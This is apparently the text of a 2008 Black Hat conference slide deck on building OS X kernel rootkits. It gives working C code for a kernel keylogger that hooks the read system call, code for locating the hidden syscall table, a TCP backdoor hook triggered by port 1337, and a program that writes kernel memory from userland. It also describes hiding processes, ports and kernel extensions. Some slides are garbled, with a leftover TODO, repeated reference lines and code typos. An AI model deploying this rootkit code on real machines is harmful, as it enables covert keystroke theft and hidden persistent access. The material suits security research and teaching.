iRK: Crafting OS X Kernel Rootkits

Black Hat USA 08 — LAS VEGAS, NV

August 6, 2008
BACKGROUND
What is a rootkit?

What it is not

- Not a “root exploit”
  - “I can’t believe they call xyz a ‘rootkit’… what’s the point if you already have root?”
- Rootkits don’t give you root if you didn’t already have it (At some point)
- Usually combined with an exploit of some kind
- Generally requires root access
What is a rootkit? - 2

What it (often) is:

• Access Retention – “Backdoor”
  • Without relying on the way we got in
  • For example, even after the original vulnerability has been patched.
• Stealth
  • We want to hide our presence from wily administrators
    • Files, Processes, Ports, etc.
• Other “special” functionality
  • Keyboard logging, packet capturing, etc.
Types of Rootkits

Userland rootkit:

- As name suggests, made up of userland programs
- Often, collection of trojaned versions of popular binaries which overwrite originals to hide attacker’s presence
  - ps, top, netstat, ls, md5sum, etc.
  - Relatively easy to write (Source available for most utilities)
    - Edit, recompile…
  - Relatively easy to detect
    - Clean binaries will show correct information
- Could also modify original binary behavior at runtime
Types of Rootkits - 2

Kernel mode rootkit (What we’re going to focus on)

- Hides presence by modifying running kernel
- More powerful
  - Userland programs obtain information from kernel
    - This includes rootkit detection programs
    - We can modify that information before it’s returned
  - Kernel runs at highest privilege level
    - Direct access to hardware, network, etc.
    - If detection code also runs in kernel, it’s a race
- More 1337er (Or something)
Why OS X?

- Popular
- TODO: Fill in market share info
- Becoming larger target for attack
- Published Shellcoding techniques
- Published RCE techniques
- …
- Not much public information on rootkit design specifically around OS X
  - There are other OS X rootkits though, several userland and at least one kernel mode (WeaponX)
OS X Kernel “XNU”

“Based on Mach”

- Mach 3.0 – Developed by Carnegie Mellon University
  - Microkernel
    - Only lowest level of access needed runs in kernel space
      - Virtual Memory, Hardware access, IPC, etc.
    - The rest runs as userland “servers”
      - Networking, filesystems, etc.
    - Performance issues
OS X Kernel “XNU” - 2

“Based on BSD”
  • FreeBSD 5.x
    • Traditional monolithic kernel
      • OS Services run in kernel mode / address space
        • Drivers, network, file systems, memory management, etc.
Co-Location of Mach and BSD in XNU Kernel
Extending XNU

Kernel Extensions (KEXT)

• Dynamically loadable modules for extending the kernel
  • Much like Linux’s Loadable Kernel Modules (LKM)
  • or FreeBSD’s Dynamic Kernel Linking Facility (KLD)

• Needed for the OS to allow addition of low level facilities without kernel recompilation
  • Device drivers, File systems, etc.
Basic KEXT Anatomy

Typical KEXT “file” is actually a directory with multiple files

- Info.plist
  - XML “Property List” file that specifies meta data for KEXT

- Compiled kernel module code

- InfoPlist.strings
  - “Localized versions of Info.plist keys”
Info.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>CFBundleDevelopmentRegion</key>
    <string>English</string>
    <key>CFBundleExecutable</key>
    <string>kern_control</string>
    <key>CFBundleIdentifier</key>
    <string>com.yourcompany.kext.kern_control</string>
    <key>CFBundleInfoDictionaryVersion</key>
    <string>6.0</string>
    <key>CFBundleName</key>
    <string>kern_control</string>
    <key>CFBundlePackageType</key>
    <string>KEXT</string>
    <key>CFBundleSignature</key>
    <string>????</string>
    <key>CFBundleVersion</key>
    <string>1.0.0d1</string>
    <key>OSBundleLibraries</key>
    <dict>
      <key>com.apple.kernel</key>
      <string>9.2.2</string>
    </dict>
  </dict>
</plist>
Basic KEXT Development

Standard method for introducing code into running kernel
- Requires Xcode
  - Xcode creates a simple template for a new KEXT
    - Main .c file – Starting place for code
    - Info.plist – Meta data
    - .xcodeproj directory – Project settings directory
      - Project.pbxproj – File where project name is specified, entry and exit points, etc.
    - Other project related files
  - HelloWorld.kext development walkthrough
New Project
New Kernel Extension
Project explorer for new project
HelloWorld.c

#include <mach/mach_types.h>

kern_return_t HelloWorld_start (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}

kern_return_t HelloWorld_stop (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}
HelloWorld.c

#include <mach/mach_types.h>

kern_return_t HelloWorld_start (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}

kern_return_t HelloWorld_stop (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}

Module Entry Function
HelloWorld.c

#include <mach/mach_types.h>

kern_return_t HelloWorld_start (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}

kern_return_t HelloWorld_stop (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}

Module Exit Function
HelloWorld.c

#include <mach/mach_types.h>

void HelloWorld_printHello() {
    printf("Hello World\n");
}

kern_return_t HelloWorld_start (kmod_info_t * ki, void * d) {
    HelloWorld_printHello();
    return KERN_SUCCESS;
}

kern_return_t HelloWorld_stop (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}
Edit Info.plist - OSBundleLibraries for minimum kernel version required

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <!-- ... -->
  <key>OSBundleLibraries</key>
  <dict>
    <key>com.apple.kernel</key>
    <string>9.2.2</string>
  </dict>
</dict>
</plist>
```
Build and Test (GUI or CLI)

hawt:HelloWorld x30n$ xcodebuild -configuration Debug
=== BUILDING NATIVE TARGET HelloWorld WITH CONFIGURATION Debug ===

Checking Dependencies...
** BUILD SUCCEEDED **
hawt:HelloWorld x30n$ cd build/Debug/
hawt:Debug x30n$ sudo chown -R root:wheel HelloWorld.kext/
hawt:Debug x30n$ sudo chmod 755 HelloWorld.kext/
hawt:Debug x30n$ sudo kextload HelloWorld.kext
kextload: HelloWorld.kext loaded successfully
hawt:Debug x30n$ sudo dmesg |tail -n 1
Hello World
Kernel Debugging

When playing around in kernel space, especially with less than documented kernel “features”, things will go wrong!

- Debugging live kernel with gdb
  - Performed using two OS X computers
    - Debug host and debug target
    - Directly connected via same physical network
    - Feasible to debug from non OS X host, but not trivial
  - Target kernel is temporarily halted (Along with all other processes)
  - Remote debugger can continue...
Kernel Debugging - 2

- See [1] Page 141 for further information / cautions
- Setup your debug target
  - Set debug flags in Open Firmware
    - Hold down Command-Option-O-F at boot to enter Open Firmware
      - `printenv boot-args`
      - `setenv boot-args original_contents debug=0x4`
  - Alternatively, from OS X command line
    - `sudo nvram printenv boot-args`
    - `sudo nvram setenv boot-args="original_contents debug=0x4"`
<table>
<thead>
<tr>
<th>Symbolic Name</th>
<th>Flag</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>DB_HALT</td>
<td>0x01</td>
<td>Halt at boot-time and wait for debugger attach</td>
</tr>
<tr>
<td>DB_PRT</td>
<td>0x02</td>
<td>Send kernel debugging printf output to console</td>
</tr>
<tr>
<td>DB_NMI</td>
<td>0x04</td>
<td>Drop into debugger on NMI - Command-Power, interrupt switch, Command-Option-Control-Shift-Escape… (Depends on machine)</td>
</tr>
<tr>
<td>DB_KPRT</td>
<td>0x08</td>
<td>Send kernel debugging kprintf output to serial port</td>
</tr>
<tr>
<td>KB_KDB</td>
<td>0x10</td>
<td>Make ddb (kdb) default debugger (requires custom kernel)</td>
</tr>
<tr>
<td>DB_SLOG</td>
<td>0x20</td>
<td>Output certain diagnostic info to system log</td>
</tr>
<tr>
<td>DB_ARP</td>
<td>0x40</td>
<td>Allow debugger to ARP and route – Not avail in all kernels</td>
</tr>
<tr>
<td>DB_KDP_BP_DIS</td>
<td>0x80</td>
<td>Support old versions of gdb on newer systems</td>
</tr>
<tr>
<td>DB_LOG_PI_SCRN</td>
<td>0x100</td>
<td>Disable graphical panic dialog</td>
</tr>
</tbody>
</table>

**Possible Debug Flags** (Debug flags are determined by ANDing debug value against possible flags)
Kernel Debugging - 3

• Setup your debug host
  • Download and mount Kernel Debug Kit for target kernel
    • http://developer.apple.com/sdk/
  • Set static ARP entry for debug target
    • $ sudo arp -s 10.1.13.10 00:14:c8:fb:9a:94
  • Start gdb against Kernel Debug Kit included kernel
    • $ gdb /Volumes/KernelDebugKit/mach_kernel
• Set debug target type
  • (gdb) target remote-kdp
Kernel Debugging - 4

- Drop into debugger from target host
  - Generate NMI (Non-Maskable Interrupt)
    - (OS X >= 10.1.2) If DB_NMI debug flag set - Press power button quickly

- Attach debugger to target host
  - (gdb) attach 10.1.13.10
Hooking

Modifies control flow to execute user’s code in addition to or instead of original

• Can be used to filter data (input or output), extend functionality, etc.

• Example:
  • Function A generally calls Function B to perform some task
  • User hijacks call to Function B, executing it’s own code on the supplied data, then passes data on to Function B

• Illustrated:
Function A calls Function B
Hook Installed
System Call Hooking

System call interface is primary mechanism used by applications to request service from the kernel

- Because of this, syscall hooking is very powerful
  - User applications rely on the information returned from system calls
  - Common syscall hooking targets:
    - read(), write(), execve(), getdirenties()
  - Most publically available rootkits utilize this technique to some extent
    - WeaponX primarily uses this technique for its functionality
Typical System Call
System Call Hooking

- System call mechanism resides in BSD portion of kernel and acts the same as FreeBSD, etc.
- How syscalls are called from user space in OS X (x86)...
  - Arguments are placed on stack in reverse order
  - syscall number is placed into EAX
  - int 0x80 executed
- Kernel takes over
  - Looks up corresponding syscall function in `sysent` to identify syscall code to execute
    - `sysent` is a global list of sysent structures for each available system call
SYSENT
Defined in /path/to/downloaded/xnu_source/bsd/sys/sysent.h (Must define in your own code, not available in Kernel Framework)

```c
struct sysent {         /* system call table */
    int16_t         sy_narg;        /* number of args */
    int8_t          sy_resv;        /* reserved */
    int8_t          sy_flags;       /* flags */
    sy_call_t       *sy_call;       /* implementing function */
    sy_munge_t      *sy_arg_munge32; /* system call arguments 
                         * munger for 32-bit process */
    sy_munge_t      *sy_arg_munge64; /* system call arguments 
                         * munger for 64-bit process */
    int32_t         sy_return_type; /* system call return types */
    uint16_t        sy_arg_bytes;   /* Total size of arguments in 
                                 * bytes for 
                                 * 32-bit system calls */
};
```
Kernel Looks up syscall handler in sysent[]
(sysent[SYS_mkdir])
... #define SYS_mkdir 136; //Syscall num (sysc_func_t *) mkdir; mkdir = sysent[SYS_mkdir].sys_call; mkdir(args);
...

struct sysent { // mkdir
    sy_narg = 2,
    sy_resv = 0,
    sy_flags = 0,
    sy_call = 0x1e70ef;
    ...
}
To hook any system call, we simply overwrite the sysent[SYS_callnumber].sy_call pointer to point to our function, and then return with a call to the original function.
```
#define SYS_mkdir 136;  //Syscall num
(sysc_func_t *) mkdir;
mkdir = sysent(SYS_mkdir).sy_call;
mkdir(args);
```

```
struct sysent { // mkdir
    sy_narg = 2,
    sy_resv = 0,
    sy_flags = 0,
    sy_call = 0x170ef,
    ...
}
```
Caveat –
  • Unlike FreeBSD, OS X >= 10.4 - sysent table is not an exported symbol
  • Need to identify sysent in some other way
    • sysent table lies almost directly after nsysent (Which is exported)
      • Directly after on PPC
      • 32 bytes after on Intel (sizeof(nsysent)+28)

```c
struct sysent *mysysent;
mysysent = (struct sysent *) ((char *) &nsysent) + sizeof(nsysent) + 28);
```
Example: Keylogger (Hooking Read Call)

```c
#include <mach/mach_types.h>
#include <sys/sysproto.h>
static struct sysent *_sysent;
extern int nsysent;

static int my_read(struct proc *p, void *syscall_args, int *retval) {
    struct read_args {    //Defined in sys/sysproto.h
        char fd_l_[PADL_(int)];
        int fd;
        char fd_r_[PADR_(int)];
        char cbuf_l_[PADL_(user_addr_t)];
        user_addr_t cbuf;
        char cbuf_r_[PADR_(user_addr_t)];
        char nbyte_l_[PADL_(user_size_t)];
        user_size_t nbyte;
        char nbyte_r_[PADR_(user_size_t)];
    }*uap;
    uap = (struct read_args *)syscall_args;
    int error;
    char buf[1];
    int done;
    (Continued)
```
Example: Keylogger (Hooking Read Call)

(Continued)

```c
error = real_read(p, uap, retval);
if(error || (!uap->nbyte) || (uap->nbyte > 1) || (uap->fd != 0)) {
    return(error);
}
copyinstr(uap->cbuf, buf, 1, &done);
printf("%c\n", buf[0]);
return(error);
}

kern_return_t keyLogger_start (kmod_info_t * ki, void * d) {
    _sysent = find_sysent(); //Finds sysent address as offset from nsysent
    if (_sysent == NULL) {
        return KERN_FAILURE;
    }
    real_read = (sysc_func_t *) _sysent[SYS_read].sy_call;
    _sysent[SYS_read].sy_call = (sy_call_t *) my_read;
    return KERN_SUCCESS;
}
```
Network Stack Hooking

- We can hook other things too, not just system calls…
- Hooking kernel network protocol handlers
  - `inetsw[]` switch table
    - Linked list of `protosw` structures for each communication protocol
    - Directly access desired protocol handler within `inetsw` through `ip_protox[]`
      - `ip_protox` is a list of pointers to protocol handlers offset by the protocol number
      - `ip_protox[IPPROTO_TCP] = (struct protosw *)` for TCP
protosw
Defined in /path/to/downloaded/xnu_source/bsd/sys/protosw.h (Must define in your own code, not available in Kernel Framework)

struct protosw {
    short   pr_type;    /* socket type used for */
    struct  domain *pr_domain; /* domain protocol a member of */
    short   pr_protocol; /* protocol number */
    unsigned int pr_flags; /* see below */
    void    (*pr_input)(struct mbuf *, int len); /* input to protocol (from below) */
    int     (*pr_output)(struct mbuf *m, struct socket *so); /* output to protocol (from above) */
    void    (*pr_ctlinput)(int struct sockaddr *, void *); /* control input (from below) */
    int     (*pr_ctloutput)(struct socket *, struct sockopt *); /* control output (from above) */
    void    *pr_ousrreq; /* utility hooks */
    void    (*pr_init)(void); /* initialization hook */
    void    (*pr_fasttimo)(void); /* fast timeout (200ms) */
    void    (*pr_slowtimo)(void); /* slow timeout (500ms) */
    void    (*pr_drain)(void); /* flush any excess space possible */
#if __APPLE__
    int     (*pr_sysctl)(int *, u_int, void *, size_t *, void *, size_t); /* sysctl for protocol */
#endif
(Continued)
protosw
Defined in /path/to/downloaded/xnu_source/bsd/sys/protosw.h (Must define in your own code, not available in Kernel Framework)

(Continued)

struct pr_usrreqs *pr_usrreqs; /* supersedes pr_usrreq() */
#if __APPLE__
    int (*pr_lock) (struct socket *so, int locktype, int debug); /* lock function for protocol */
    int (*pr_unlock) (struct socket *so, int locktype, int debug); /* unlock for protocol */
#endif
#if __APPLE__ /* Implant hooks */
    TAILQ_HEAD(, socket_filter) pr_filter_head;
    struct protosw *pr_next; /* Chain for domain */
    u_long reserved[1]; /* Padding for future use */
#endif
};
TCP Hook
Hooks TCP handler to perform special function if packet arrives destined for port 1337

```c
void tcp_input_hook(struct mbuf *m, int off0) {
    struct tcphdr *th;
    th = (struct tcphdr *)((caddr_t)m + 0x56); //Offset into mbuf for tcp header
    if(ntohs(th->th_dport) == 1337) {
        printf("do that little thing you do...\n");
    } else {
        tcp_input(m, off0);
    }
}

kern_return_t tcphook_start (kmod_info_t *ki, void *d) {
    struct protosw * tcp_handler;
    tcp_handler = ip_protox[IPPROTO_TCP];
    tcp_handler->pr_input = tcp_input_hook;
    return KERN_SUCCESS;
}
```
DEMO – TCP Hook
Direct Kernel Object Manipulation (DKOM)

Kernel relies on certain in memory structures for accounting purposes

- We can directly modify some of these structures (Instead of going through approved APIs) to remove the record of them
  - The term “kernel objects” refers to these structures
  - The term Direct Kernel Object Manipulation comes from Windows rootkit development where these kernel data structures are referred to as “objects”
Direct Kernel Object Manipulation (DKOM)

- Modifiable in memory structures keep track of data such as:
  - Loaded kernel modules, Open network ports, Currently running processes, etc.

- The kernel does *not* have a record in memory of other some things though, such as:
  - Files on the file system, etc.
  - For these things, other methods must be used to hide (Syscall hooking, etc)
DEMO – Hiding a process
DEMO – Hiding a network port
DEMO – Hiding a KEXT
Crossing Boundaries – User / Kernel Communication

- Multiple interfaces to communicate between userland and kernel
  - Mach IPC
  - BSD sysctl
    - Straightforward
    - Very visible (We’re trying to be stealthy)
  - I/O Kit Abstraction
  - Kernel control sockets
    - What we use for iRK
    - Handle just like sockets from the client side
DEMO – iRK
Patching Running Kernel Memory

So far, the only way to modify kernel data structures, or introduce code into the kernel has been through KEXTs

- Only supported method
- On other BSDs, we can directly access and modify the kernel’s memory from userland via /dev/kmem and libkvm
- Unfortunately, x86 OS X removed /dev/kmem (Also, no libkvm by default in newer versions)
- Can restore /dev/kmem with a custom kernel module
- Then have to install libkvm
- Don’t really want to do this for a rootkit…
Enter Mach...

- Remember, XNU is build on BSD and mach...
- Mach gives us a nice RPC API for modifying memory of another mach task
  - And the kernel is another Mach task!
- Some useful mach functions
  - task_for_pid()
  - vm_write()
  - vm_read()
Walkthrough mach DKOM

- See updated slides
  - http://www.praetoriang.net/presentations/iRK.html
Allocating kernel memory - Traditional

- Usually need to allocate memory to install new code into kernel

- Kernel memory allocation through BSD is provided with _MALLOC() (/path/to/xnu/source/bsd/kern/kern_malloc.c) within kernel code

- I/O Kit
  - IOMalloc and related functions
- Allocation code needs to be running in kernel though (KEXT, etc.)
Allocating kernel memory from userland - BSD

• To allocate kernel memory without a kernel module on Linux and other BSDs, attackers have devised other means [5]
  • Identify address of system call handler
  • Backup system call handling code
  • Overwrite syscall with kmalloc()
  • Execute overwritten system call (now kmalloc())
  • Restore system call
• Problematic
  • Race condition – If system call is executed by something else before restored, we’ll probably crash…
Allocating kernel memory from userland - Mach

- To allocate kernel memory with mach we simply utilize the mach RPC interface for the kernel task!
  - vm_allocate()

- kalloc.c...
#include <mach/mach.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#define KSIZE 512
int main(int argc char **argv) {
    mach_port_t kernel_task;
    kern_return_t err;
    long value = 0x41;
    vm_address_t myaddr;
    int I;
    if(getuid() && geteuid()) {
        printf("Root privileges required!\n");
        exit(1);
    }
    err = task_for_pid(mach_task_self(), 0, &kernel_task);
    if((err != KERN_SUCCESS) || !MACH_PORT_VALID(kernel_task)) {
        printf("getting kernel task.\n");
        exit(1);
    }
}(Continued)
if (vm_allocate(kernel_task, &myaddr, 512, 1)) {
    printf("Error allocating kmem.\n");
    exit(1);
}

for(i=0;i<KSIZE;i++) {
    if(vm_write(kernel_task, (vm_address_t) myaddr+i, (vm_address_t) &value, 1)) {
        printf("Error writing to kmem at %p\n", (vm_address_t) myaddr+i);
        exit(1);
    } else {
        printf("Wrote 0x41 to %p\n", myaddr+i);
    }
}

printf("Done!\nNew Region located at %p\n", (vm_address_t) myaddr);
exit(0);
Walkthrough mach hooking

- See updated slides
  - http://www.praetoriang.net/presentations/iRK.html
Required Reading

- [1] OS X Kernel Programming Guide
  - Apple Computer
  - Apple Computer
  - Amit Singh
Required Reading - 2

- [4] Infecting the Mach-o Object Format
  - [4] Infecting the Mach-o Object Format
  - [4] Infecting the Mach-o Object Format
  - [4] Infecting the Mach-o Object Format
  - [4] Infecting the Mach-o Object Format
  - [4] Infecting the Mach-o Object Format
- [5] Linux on-the-fly kernel patching without LKM
  - Phrack 58
  - Sd and devik
- [6] Designing BSD Rootkits
  - Joseph Kong
Required Reading - 2

• [7] Abusing Mach on Mac OS X
  • http://www.uninformed.org/?v=4&a=3
  • Neil Archibald aka “nemo”
• [8] Rootkits: Subverting the Windows Kernel
  • Greg Hoglund and Jamie Butler
• [9] Runtime Kernel Patching
  • http://reactor-core.org/runtime-kernel-patching.html
• [10] Fun and games with FreeBSD Kernel Modules
  • Stephanie Wehner
Required Reading - 2

  - THC

- Much much more…
Updated Slides & Code

- http://www.praetoriang.net/presentations/iRK.html
Questions? / Thank You!
Jesse ‘x30n’
D’Aguanno
E: jesse@praetoriang.net
praetoriang.net